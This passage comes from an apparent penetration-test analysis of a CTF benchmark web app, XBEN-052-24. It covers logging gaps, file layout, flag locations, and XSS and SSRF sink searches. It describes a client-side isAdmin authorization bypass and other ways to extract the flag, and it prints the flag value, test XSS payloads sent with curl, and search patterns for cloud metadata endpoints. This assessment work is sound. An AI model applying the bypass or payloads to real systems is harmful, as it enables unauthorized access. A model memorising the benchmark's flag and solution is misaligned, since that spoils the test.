- ❌ No third-party authentication (OAuth, Auth0, Okta, etc.)
- ❌ No payment gateways
- ❌ No analytics services (Google Analytics, Mixpanel, etc.)
- ❌ No CDN usage
- ❌ No external logging/monitoring (Sentry, Datadog, New Relic, etc.)

**PHP Dependencies:**

**Search Results:**
```bash
# Searched for: composer.json, composer.lock, vendor/, package.json, node_modules/
Result: NO dependency manifests found
```

The application has zero third-party PHP libraries. All functionality is implemented using PHP's built-in functions.

**Security Implications:**
- ✅ **Positive:** No supply chain attack risk
- ✅ **Positive:** No vulnerable third-party code
- ✅ **Positive:** No dependency confusion attacks
- ❌ **Negative:** No security libraries (no CSRF protection, no password hashing framework, etc.)

### Monitoring & Logging

**Application-Level Logging:** NOT IMPLEMENTED

**Search Results:**
```bash
# Searched for logging patterns:
# - error_log, syslog, file_put_contents, fwrite
# - logger, log, audit, trace
Result: NONE FOUND in application code
```

**What Is NOT Logged:**
- ❌ Authentication attempts (successful or failed)
- ❌ Authorization decisions (isAdmin checks)
- ❌ Flag disclosure events
- ❌ Input validation failures
- ❌ Error conditions
- ❌ User actions

**Container-Level Logging:**

The Docker container logs stdout/stderr from the Apache/PHP processes. To view logs:
```bash
docker logs xben-052-24_web_1
```

However, the application code uses `echo` for HTML output, not for logging. There are no structured log messages, no log levels (INFO, WARN, ERROR), and no security event logging.

**Apache Access Logs:**

Apache maintains access logs at `/var/log/apache2/access.log` (inside container) in the combined format:
```
127.0.0.1 - - [29/Oct/2025:17:50:15 +0000] "POST /index.php HTTP/1.1" 200 1234 "-" "curl/7.68.0"
```

These logs capture:
- ✅ IP addresses
- ✅ Timestamps
- ✅ HTTP methods and paths
- ✅ Response status codes
- ✅ User agents
- ❌ POST body data (not logged by default—good for privacy, bad for auditing)
- ❌ Authentication results
- ❌ Authorization decisions

**Security Event Visibility:**

An attacker successfully exploiting the authorization bypass would leave only this trace in Apache logs:
```
<attacker-ip> - - [29/Oct/2025:18:30:00 +0000] "POST /index.php HTTP/1.1" 200 458 "-" "curl/7.68.0"
```

This is indistinguishable from a failed login attempt. There's no indication that:
- The `isAdmin` parameter was manipulated
- The flag was disclosed
- Administrative access was granted

**Recommendations:**

For production, the application should implement:
1. **Structured Logging:**
   ```php
   error_log("[AUTH] Failed login attempt for username: " . $_POST['username'] . " from IP: " . $_SERVER['REMOTE_ADDR']);
   error_log("[CRITICAL] Flag disclosed to IP: " . $_SERVER['REMOTE_ADDR'] . " with isAdmin=" . $_POST['isAdmin']);
   ```

2. **Security Information and Event Management (SIEM):**
   - Forward logs to Splunk, ELK Stack, or cloud SIEM
   - Create alerts for anomalous patterns (many requests from one IP, etc.)

3. **Audit Trail:**
   - Log all flag access events
   - Log all authorization decisions
   - Include timestamps, IP addresses, and request details

---

## 7. Overall Codebase Indexing

### Directory Structure Analysis

The XBEN-052-24 codebase represents a deliberately minimalist architecture designed for CTF challenge deployment. The entire application consists of a single PHP file, three static assets, and minimal infrastructure-as-code configurations. This simplicity is intentional—the challenge focuses on a specific security vulnerability (client-side authorization bypass) without the complexity of real-world applications.

**Root Directory Structure:**

```
/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/
├── .env                          # Environment variables (FLAG storage)
├── .git/                         # Git repository (version control)
├── .xben_build_done              # Build completion marker (tool-generated)
├── benchmark.json                # Challenge metadata (CTF framework config)
├── docker-compose.yml            # Container orchestration
├── Makefile                      # Build automation (includes ../common.mk)
├── outputs/                      # Analysis outputs directory
│   ├── scans/                    # Security scan results (nmap, whatweb, etc.)
│   │   ├── nmap_scan.txt
│   │   ├── subfinder_output.txt
│   │   └── whatweb_output.txt
│   └── schemas/                  # API schema files (none found in this app)
└── src/                          # Application source code
    ├── Dockerfile                # Container build instructions
    ├── index.php                 # Main application (82 lines - entire codebase)
    └── static/                   # Static assets
        ├── homer_simpson.png     # Character image (8,654 bytes)
        ├── springfield_background-2.jpg  # Background image variant
        └── springfield_background.jpg    # Background image
```

**Organizational Patterns:**

1. **Monorepo Structure:** The project appears to be part of a larger CTF challenge framework, evidenced by:
   - `Makefile` including `../common.mk` (shared build logic for multiple challenges)
   - `.xben_build_done` marker file (automated build system)
   - `benchmark.json` with structured challenge metadata
   - Standardized `outputs/` directory for tool results

2. **Separation of Concerns:**
   - **`/src/`** - Application code (containerized)
   - **`/outputs/`** - Analysis results (not in container)
   - **Root directory** - Infrastructure and build configurations

3. **Build System:** The `Makefile` + `docker-compose.yml` pattern indicates:
   - Automated Docker image building
   - Consistent deployment across challenge environments
   - Integration with CTF platform tooling

**Discoverability of Security Components:**

The extreme simplicity aids security analysis:

- **✅ Single File Review:** All application logic resides in `src/index.php`, making complete code review trivial (82 lines)
- **✅ No Hidden Endpoints:** No routing framework means no hidden or undocumented routes
- **✅ No Complex Dependencies:** Zero third-party libraries eliminates supply chain analysis
- **❌ No Test Suite:** No `/tests/` directory or test coverage to validate security controls
- **❌ No Documentation:** No `/docs/` or README explaining authentication design
- **❌ No Security Configuration Files:** No `.htaccess`, no CSP configuration, no security headers

**Build and Deployment Tooling:**

1. **Makefile (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/Makefile`):**
   ```makefile
   include ../common.mk
   ```
   This includes shared build targets from the parent directory. Based on the presence of `.xben_build_done`, common targets likely include:
   - `build` - Build Docker image
   - `up` - Start container
   - `down` - Stop container
   - `clean` - Remove build artifacts

2. **Docker Compose (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml`):**
   - Defines single `web` service
   - Builds from `./src/Dockerfile`
   - Exposes port 80 (randomly mapped to host)
   - Includes health check for container orchestration

3. **Dockerfile (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile`):**
   - Based on `php:5-apache` (legacy but deliberate for challenge difficulty)
   - Performs build-time secret injection (`sed` replacement)
   - No multi-stage build (all layers retained in final image)

**Code Generation:** NOT PRESENT

No code generation tools detected:
- ❌ No ORM schema generators
- ❌ No API client code generators
- ❌ No template engines with dynamic compilation

**Testing Frameworks:** NOT PRESENT

No testing infrastructure:
- ❌ No PHPUnit, PHPSpec, or Pest
- ❌ No integration tests
- ❌ No security-specific tests (OWASP ZAP, Burp Suite automation)
- ❌ No test coverage reports

**Significant Conventions:**

1. **Environment Variable Pattern:** Using `.env` for secrets is correct, but the build-time injection via `sed` is an anti-pattern (secrets should be runtime-injected)

2. **Static Asset Organization:** The `/static/` directory is simple but lacks:
   - No `/css/` directory (styles are inline)
   - No `/js/` directory (no JavaScript)
   - No `/img/` vs `/static/` separation

3. **No Standard Project Files:** Missing common files like:
   - `README.md` - Project documentation
   - `LICENSE` - License information
   - `.gitignore` - Version control exclusions (concerning for `.env` file)
   - `CHANGELOG.md` - Version history

**Impact on Security Analysis:**

The minimal structure has both positive and negative security implications:

**Positive:**
- Complete code review achievable in minutes
- No hidden attack surface in unreviewed modules
- No complex framework vulnerabilities
- Clear data flow (input → check → output)

**Negative:**
- No security-by-default from frameworks
- No automated security testing in CI/CD
- No separation of concerns (HTML + PHP mixed)
- No defense-in-depth (single point of failure)

---

## 8. Critical File Paths

This section catalogs all security-relevant files referenced throughout this analysis, organized by their functional category. These file paths serve as starting points for manual code review and exploitation activities.

### Configuration Files

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/.env` - Environment variables containing FLAG in plaintext (Line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml` - Container orchestration config (exposes FLAG as build arg)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile` - Container build instructions (performs FLAG injection via sed, Lines 6-8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/benchmark.json` - CTF challenge metadata
- `/etc/apache2/sites-enabled/000-default.conf` (in container) - Apache virtual host configuration
- `/etc/apache2/conf-enabled/security.conf` (in container) - Apache security settings (ServerTokens, ServerSignature)

### Authentication & Authorization

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 71) - Authentication "validation" (isset checks only)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 72) - **CRITICAL AUTHORIZATION BYPASS** (client-side isAdmin check)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 65) - Hidden form field defining isAdmin parameter (client-controllable)
- **NO SESSION COOKIE CONFIGURATION** - Session management not implemented
- **NO SSO/OAUTH CALLBACK ENDPOINTS** - External authentication not implemented

### API & Routing

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Lines 62-79) - Single POST endpoint (login handler)
- **NO ADDITIONAL ROUTES** - Application consists of single entry point
- **NO API SCHEMA FILES** - No OpenAPI/Swagger, GraphQL, or JSON Schema definitions found

### Data Models & Database Interaction

- **NO DATABASE** - Application has no persistent storage
- **NO ORM FILES** - No database models or query builders
- **NO MIGRATION FILES** - No database schema definitions

### Dependency Manifests

- **NO COMPOSER.JSON** - No PHP dependency management
- **NO PACKAGE.JSON** - No Node.js dependencies
- **NO REQUIREMENTS.TXT** - No Python dependencies
- **CONCLUSION:** Zero third-party dependencies (self-contained application)

### Sensitive Data & Secrets Handling

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/.env` (Line 1) - FLAG stored in plaintext
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 69) - FLAG variable (hardcoded after build)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 74) - FLAG disclosure in HTTP response (echo statement)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile` (Lines 6-8) - Build-time secret injection (sed replacement)
- **NO ENCRYPTION IMPLEMENTATIONS** - No cryptographic code found
- **NO KEY MANAGEMENT** - No secret rotation or vault integration

### Middleware & Input Validation

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 71) - Input validation (isset only - insufficient)
- **NO CSRF PROTECTION** - No CSRF tokens or validation
- **NO RATE LIMITING** - No request throttling middleware
- **NO INPUT SANITIZATION** - No htmlspecialchars, filter_input, or validation functions
- **NO OUTPUT ENCODING** - Direct string concatenation without escaping (Line 74)

### Logging & Monitoring

- **NO APPLICATION LOGGING** - No error_log, file_put_contents, or logging calls
- `/var/log/apache2/access.log` (in container) - Apache access logs (basic HTTP request logging)
- `/var/log/apache2/error.log` (in container) - Apache error logs
- **NO SECURITY EVENT LOGGING** - No authentication/authorization attempt logging
- **NO SIEM INTEGRATION** - No external monitoring or alerting

### Infrastructure & Deployment

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/Makefile` - Build automation (includes ../common.mk)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml` (Lines 7-10) - Service definition (exposes port 80, passes FLAG)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile` (Line 1) - Base image (php:5-apache - EOL software)
- **NO KUBERNETES CONFIGS** - No k8s manifests detected
- **NO NGINX CONFIG** - Apache used as web server
- **NO INFRASTRUCTURE-AS-CODE** - No Terraform, Pulumi, or CloudFormation
- **NO SECURITY HEADERS CONFIG** - No CSP, HSTS, or X-Frame-Options configured

### CTF Flag Storage (HIGH-VALUE INTELLIGENCE)

- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/.env` (Line 1) - **PRIMARY FLAG SOURCE** (`FLAG="flag{1d0287b6-9de1-4c01-9d39-40aeed9d310d}"`)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (Line 69) - **RUNTIME FLAG VARIABLE** (`$flag = "@FLAG@"` replaced during build)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/Dockerfile` (Line 7) - **FLAG INJECTION COMMAND** (`RUN sed -i s/@FLAG@/$FLAG/g index.php`)
- **ALTERNATIVE FLAG EXTRACTION:** Docker image history contains FLAG in build arguments (`docker history <image-id>`)

**Flag Disclosure Mechanism:**
- **Network Path:** POST `/index.php` with `isAdmin=true` → Flag echoed in HTTP response body (Line 74)
- **Filesystem Path:** Read `/var/www/html/index.php` from container shell → FLAG visible in source code
- **Image Inspection Path:** Run `docker history <image-id>` → FLAG visible in build layer metadata

---

## 9. XSS Sinks and Render Contexts

### Executive Summary

After comprehensive analysis of the XBEN-052-24 application, **ZERO exploitable XSS (Cross-Site Scripting) vulnerabilities were identified** in network-accessible components. The application contains no client-side JavaScript, performs no DOM manipulation, and critically—never reflects user input in its output. All echo statements output static strings or server-controlled variables only.

### Network Surface Scope Verification

**In-Scope Component Analyzed:**
- ✅ `/index.php` (POST endpoint - network-accessible)

**Out-of-Scope Components Excluded:**
- N/A (application has no local-only scripts, CLI tools, or build utilities)

### XSS Sink Analysis by Category

#### HTML Body Context Sinks

**Patterns Searched:**
- `innerHTML`, `outerHTML`, `insertAdjacentHTML`
- `document.write()`, `document.writeln()`
- `Range.createContextualFragment()`
- jQuery: `html()`, `append()`, `prepend()`, `after()`, `before()`, `replaceWith()`, `wrap()`

**Result:** ❌ **NONE FOUND**

**Reason:** The application contains zero JavaScript code. All HTML is server-rendered static content with no client-side DOM manipulation.

#### HTML Attribute Context Sinks

**Patterns Searched:**
- Event handlers: `onclick`, `onerror`, `onload`, `onmouseover`, `onfocus`
- URL-based attributes: `href`, `src`, `action`, `formaction`, `background`, `data`
- Style attribute: `style` with dynamic content
- Iframe: `srcdoc` with user input

**Result:** ❌ **NONE FOUND**

**Analysis:**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`

The only HTML attributes present are:
- `<form action="index.php" method="POST">` (Line 62) - Static string
- `<input type="text" name="username" placeholder="Username" required />` (Line 63) - No dynamic attributes
- `<input type="password" name="password" placeholder="Password" required />` (Line 64) - No dynamic attributes
- `<input type="hidden" name="isAdmin" value="false" />` (Line 65) - Static value

**No user input populates any HTML attributes.**

#### JavaScript Context Sinks

**Patterns Searched:**
- `eval()`
- `Function()` constructor
- `setTimeout()` / `setInterval()` with string arguments
- User data directly written into `<script>` tags

**Result:** ❌ **NONE FOUND**

**Reason:** The application contains zero JavaScript code—no `<script>` tags, no inline event handlers, no external .js files.

**Verification:**
```bash
# Searched index.php for JavaScript patterns:
grep -n "<script" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
# Result: No matches

grep -n "eval\|setTimeout\|setInterval\|Function" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
# Result: No matches
```

#### CSS Context Sinks

**Patterns Searched:**
- `element.style` properties with user input
- User data in `<style>` tags
- `@import` with user-controlled URLs
- CSS expression() (IE-specific, but checked for completeness)

**Result:** ❌ **NONE FOUND**

**Analysis:**

The application contains inline CSS styles (Lines 10-59) but they are entirely static:

```html
<style>
    body {
        font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        background: url('static/springfield_background.jpg') no-repeat center center fixed;
        /* ... static styles only ... */
    }
</style>
```

No user input influences CSS rules, properties, or values.

#### URL Context Sinks

**Patterns Searched:**
- `location.href`, `location.replace()`, `location.assign()`
- `window.open()`
- `history.pushState()`, `history.replaceState()`
- Anchor tags with dynamic `href` attributes

**Result:** ❌ **NONE FOUND**

**Analysis:**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`

The only URL context present is the static form action:
```html
<form action="index.php" method="POST">  <!-- Line 62: Static URL -->
```

No user input influences URL parameters, paths, or fragments.

### Server-Side Echo Analysis

The application contains three echo statements. I analyzed each for XSS potential:

#### Echo #1: Flag Disclosure
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`  
**Line:** 74

```php
echo "<center><h3>Congratulations, here is the flag: " . $flag . "</h3></center>";
```

**User Input:** NONE  
**Data Source:** `$flag` variable (server-controlled, set at Line 69)  
**Render Context:** HTML body (`<h3>` element)  
**Exploitable:** ❌ NO - The flag is a static string replaced at build time, not user input

#### Echo #2: Admin Welcome Message
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`  
**Line:** 73

```php
echo "<center><h2>Welcome Admin</h2></center>";
```

**User Input:** NONE  
**Data Source:** Hardcoded string  
**Render Context:** HTML body (`<h2>` element)  
**Exploitable:** ❌ NO - Completely static string

#### Echo #3: Error Message
**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`  
**Line:** 76

```php
echo "<center><h3>Incorrect username/password!</h3></center>";
```

**User Input:** NONE  
**Data Source:** Hardcoded string  
**Render Context:** HTML body (`<h3>` element)  
**Exploitable:** ❌ NO - Completely static string

### User Input Data Flow

**Input Parameters:**
1. `$_POST['username']` (Line 71)
2. `$_POST['password']` (Line 71)
3. `$_POST['isAdmin']` (Line 71)

**Usage Pattern:**

```php
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['isAdmin'])) {
    if ($_POST['isAdmin'] == "true") {
        // Echo static strings only
    }
}
```

**Critical Security Observation:**

User input is used **EXCLUSIVELY for control flow** (conditional logic) and **NEVER as data** in output. The `username` and `password` parameters are:
- Checked for existence (`isset()`)
- Never validated
- Never sanitized
- **Never echoed, stored, logged, or processed**

The `isAdmin` parameter is:
- Checked for existence (`isset()`)
- Compared to the string `"true"` (Line 72)
- **Never echoed or included in output**

**Data Flow Diagram:**

```
[User Input: username, password, isAdmin]
    ↓
[isset() validation - existence check only]
    ↓
[String comparison: $_POST['isAdmin'] == "true"]
    ↓
[Conditional branching]
    ↓
[Echo STATIC strings only]
    ↓
[User input DISCARDED - never used in output]
```

### Potential XSS Scenarios (None Exploitable)

I considered several theoretical XSS attack vectors:

#### Scenario 1: Reflected XSS via Username/Password
**Attack Vector:** Submit XSS payload in username field: `<script>alert(1)</script>`  
**Expected Outcome:** If echoed back, would execute JavaScript  
**Actual Outcome:** ❌ **NOT EXPLOITABLE** - Username is never reflected in response

**Proof:**
```bash
curl -X POST http://localhost:36003/ \
  -d "username=<script>alert(1)</script>&password=test&isAdmin=false"

# Response:
<center><h3>Incorrect username/password!</h3></center>
# User input NOT PRESENT in response
```

#### Scenario 2: XSS via isAdmin Parameter
**Attack Vector:** Submit XSS payload in isAdmin field: `<img src=x onerror=alert(1)>`  
**Expected Outcome:** If echoed back, would execute JavaScript  
**Actual Outcome:** ❌ **NOT EXPLOITABLE** - isAdmin is used only for string comparison, never echoed

**Proof:**
```bash
curl -X POST http://localhost:36003/ \
  -d "username=test&password=test&isAdmin=<img src=x onerror=alert(1)>"

# Response:
<center><h3>Incorrect username/password!</h3></center>
# isAdmin parameter NOT PRESENT in response
```

#### Scenario 3: Stored XSS (Database Persistence)
**Attack Vector:** Submit XSS payload that gets stored in database and later displayed  
**Expected Outcome:** Persistent XSS affecting all users  
**Actual Outcome:** ❌ **NOT APPLICABLE** - Application has no database, no data persistence

#### Scenario 4: DOM-Based XSS (Client-Side)
**Attack Vector:** Manipulate URL fragment or JavaScript variables to execute code  
**Expected Outcome:** Client-side XSS via DOM manipulation  
**Actual Outcome:** ❌ **NOT APPLICABLE** - Application has zero JavaScript code

### Output Encoding Analysis

Despite the lack of user input reflection, I analyzed the output encoding practices:

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php`  
**Line 74:**

```php
echo "<center><h3>Congratulations, here is the flag: " . $flag . "</h3></center>";
```

**Issue:** Direct string concatenation without `htmlspecialchars()` or `htmlentities()`

**Risk Assessment:**
- **Current Risk:** LOW - The `$flag` variable is controlled by the server (replaced via `sed` during build)
- **Theoretical Risk:** MEDIUM - If the flag generation were ever changed to include user input or dynamic content, this would create an XSS vulnerability

**Recommended Fix:**
```php
echo "<center><h3>Congratulations, here is the flag: " . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . "</h3></center>";
```

This would encode special HTML characters:
- `<` → `&lt;`
- `>` → `&gt;`
- `"` → `&quot;`
- `'` → `&#039;`
- `&` → `&amp;`

### Content Security Policy (CSP)

**Status:** NOT IMPLEMENTED

The application sends no `Content-Security-Policy` header. While CSP would provide defense-in-depth, it's less critical here because:
- No inline JavaScript to restrict
- No external script sources to whitelist
- No user input reflected that could inject scripts

**Current Headers:**
```http
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
```

**Missing CSP Header:**
```http
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'
```

This would prohibit all JavaScript execution, even if an XSS vulnerability were introduced in the future.

### Conclusion: XSS Risk Assessment

**Overall XSS Risk:** NONE (current implementation)

**Risk Breakdown:**

| XSS Type | Risk Level | Reason |
|----------|-----------|---------|
| Reflected XSS | None | User input never reflected in output |
| Stored XSS | None | No data persistence (no database) |
| DOM-Based XSS | None | Zero JavaScript code present |
| Self-XSS | None | No user-editable profile or settings |

**Security Posture:**

The application is **accidentally secure** against XSS—not through proper input validation or output encoding, but through sheer architectural simplicity. The lack of any feature that reflects user input eliminates XSS attack surface.

**However**, this is not defense-in-depth. If a future developer were to add a feature that echoed user input (e.g., "Welcome, [username]!" message), XSS vulnerabilities would immediately appear due to:
- No `htmlspecialchars()` or output encoding
- No Content Security Policy
- No X-XSS-Protection header (deprecated but still useful)

**XSS Exploitation Queue:** EMPTY  
No XSS vulnerabilities found for exploitation team.

---

## 10. SSRF Sinks

### Executive Summary

After exhaustive analysis of the XBEN-052-24 application covering all 12 SSRF sink categories, **ZERO Server-Side Request Forgery (SSRF) vulnerabilities were identified** in network-accessible components. The application makes no outbound HTTP requests, performs no file operations with URLs, and contains no mechanisms that could be manipulated to forge server-side requests.

### Network Surface Scope Verification

**In-Scope Component Analyzed:**
- ✅ `/index.php` (POST endpoint - network-accessible)

**Out-of-Scope Components Excluded:**
- ❌ Docker healthcheck (internal infrastructure, no user input)
- ❌ Static asset serving (Apache file handler, no PHP execution)

### Comprehensive SSRF Sink Search Results

I systematically searched for all 12 SSRF sink categories across the entire network-accessible codebase:

#### 1. HTTP(S) Clients

**Patterns Searched:**

**PHP Functions:**
- `curl_init()`, `curl_setopt()`, `curl_exec()`, `curl_setopt_array()`
- `file_get_contents()` with URL context
- `fopen()` with URL wrappers (http://, https://, ftp://)
- `readfile()` with URLs
- `stream_context_create()` with HTTP streams

**HTTP Libraries:**
- Guzzle (GuzzleHttp\Client)
- Requests (Requests::get, Requests::post)
- HttpClient, RestTemplate

**Search Command:**
```bash
grep -rn "curl_\|file_get_contents\|fopen\|readfile\|stream_context_create\|GuzzleHttp\|Requests::" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**File Analysis:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php` (all 82 lines reviewed)

The application uses only:
- `isset()` - Variable existence check (Line 71)
- `echo` - Output generation (Lines 73, 74, 76)

**No HTTP client functions present.**

#### 2. Raw Sockets

**Patterns Searched:**
- `fsockopen()`, `pfsockopen()`
- `socket_create()`, `socket_connect()`
- `stream_socket_client()`, `stream_socket_server()`

**Search Command:**
```bash
grep -rn "fsockopen\|pfsockopen\|socket_\|stream_socket_" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** No low-level socket operations present.

#### 3. File Inclusion with URLs

**Patterns Searched:**
- `include()`, `require()`, `include_once()`, `require_once()` with URL wrappers
- Dynamic file inclusion: `include($_GET['page'])`
- Remote file inclusion via `allow_url_include`

**Search Command:**
```bash
grep -rn "include\|require" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**PHP Configuration:**
```ini
allow_url_include = Off  # Correctly disabled (good security practice)
```

Even if `include()` were used, remote file inclusion would be blocked by PHP configuration.

#### 4. Redirect & "Next URL" Handlers

**Patterns Searched:**
- `header('Location: ...')` with user input
- `<meta http-equiv="refresh" content="0;url=...">` with user input
- Redirect parameters: `?redirect=`, `?next=`, `?return_url=`, `?continue=`

**Search Command:**
```bash
grep -rn "header\|Location:\|redirect\|return_url\|next\|continue" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:**

The application sends only default HTTP headers (implicitly set by PHP/Apache):
```http
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
```

No `Location:` header, no redirects, no "next URL" parameters.

#### 5. Headless Browsers & Render Engines

**Patterns Searched:**
- **Puppeteer:** `puppeteer.launch()`, `page.goto()`, `page.setContent()`
- **Playwright:** `playwright.chromium.launch()`, `page.navigate()`
- **Selenium:** `WebDriver`, `driver.get()`
- **PDF Converters:** `wkhtmltopdf`, `Puppeteer PDF`, `Dompdf`
- **Server-Side Rendering:** `Next.js getServerSideProps`, `Nuxt.js asyncData`

**Search Command:**
```bash
grep -rn "puppeteer\|playwright\|selenium\|wkhtmltopdf\|phantomjs\|chrome\|chromium" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application is pure server-side PHP with no browser automation or rendering.

#### 6. Media Processors

**Patterns Searched:**
- **ImageMagick:** `convert`, `identify`, `mogrify` with URL inputs
- **FFmpeg:** `ffmpeg` with network sources
- **Ghostscript:** `gs` with URL inputs
- **GD Library:** `imagecreatefromjpeg()`, `imagecreatefrompng()` with URLs

**Search Command:**
```bash
grep -rn "convert\|identify\|mogrify\|ffmpeg\|ghostscript\|imagecreatefrom" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application serves static images directly via Apache without PHP processing. No image manipulation or conversion occurs.

**Static Images (Not SSRF Sinks):**
- `/static/homer_simpson.png` - Served by Apache file handler
- `/static/springfield_background.jpg` - Served by Apache file handler
- `/static/springfield_background-2.jpg` - Served by Apache file handler

These are **NOT SSRF sinks** because Apache serves them directly without invoking PHP or any server-side image processing.

#### 7. Link Preview & Unfurlers

**Patterns Searched:**
- oEmbed endpoint fetchers: `oembed.com`, `noembed.com`
- URL metadata extractors: Open Graph, Twitter Cards
- Social media card generators
- Link expansion services

**Search Command:**
```bash
grep -rn "oembed\|og:\|twitter:\|meta.*property\|link.*preview" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application has no social media integration or link preview functionality.

#### 8. Webhook Testers & Callback Verifiers

**Patterns Searched:**
- "Ping my webhook" functionality
- Outbound callback verification
- Health check notifications to external URLs
- Event delivery confirmations

**Search Command:**
```bash
grep -rn "webhook\|callback\|ping\|notify\|alert" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Note on Docker Healthcheck:**

The `docker-compose.yml` includes a healthcheck:
```yaml
healthcheck:
  test: timeout 10s bash -c ':> /dev/tcp/127.0.0.1/80' || exit 1
```

This is **NOT an SSRF sink** because:
- It's infrastructure-level (not application code)
- It has no user input
- It only checks `127.0.0.1:80` (localhost loopback)
- It's executed by Docker, not the PHP application

**Per scope definition:** This is out-of-scope (infrastructure healthcheck, not network-accessible application code).

#### 9. SSO/OIDC Discovery & JWKS Fetchers

**Patterns Searched:**
- OpenID Connect discovery: `.well-known/openid-configuration`
- JWKS fetchers: `jwks_uri`, JSON Web Key Sets
- OAuth metadata: `authorization_endpoint`, `token_endpoint`
- SAML metadata fetchers

**Search Command:**
```bash
grep -rn "well-known\|jwks\|openid\|oauth\|saml\|discovery" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application has no external authentication provider integration. It's a self-contained (albeit broken) authentication system.

#### 10. Importers & Data Loaders

**Patterns Searched:**
- "Import from URL" functionality
- CSV/JSON/XML remote loaders
- RSS/Atom feed readers: `simplexml_load_file()`, `DOMDocument::load()`
- API data synchronization
- Configuration file fetchers

**Search Command:**
```bash
grep -rn "import\|load.*url\|simplexml_load_file\|DOMDocument\|feed\|rss\|atom" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application has no data import, feed reading, or external configuration loading functionality.

#### 11. Package/Plugin/Theme Installers

**Patterns Searched:**
- "Install from URL" features
- Plugin/theme downloaders
- Update mechanisms with remote checks
- Dependency resolution with external repos

**Search Command:**
```bash
grep -rn "install\|plugin\|theme\|update\|download\|composer\|npm" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application has no plugin system, theme management, or update mechanism.

#### 12. Cloud Metadata Helpers

**Patterns Searched:**
- AWS instance metadata: `http://169.254.169.254/latest/meta-data/`
- GCP metadata: `http://metadata.google.internal/computeMetadata/v1/`
- Azure metadata: `http://169.254.169.254/metadata/instance`
- Container orchestration APIs: Kubernetes service accounts, Docker socket

**Search Command:**
```bash
grep -rn "169.254.169.254\|metadata.google.internal\|kubernetes\|docker.sock" /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/src/index.php
```

**Result:** ❌ **NONE FOUND**

**Analysis:** The application makes no cloud metadata API calls. It doesn't attempt to discover its infrastructure environment.

### User Input Analysis

I analyzed whether any user input could influence network requests (even though none exist):

**User Input Parameters:**
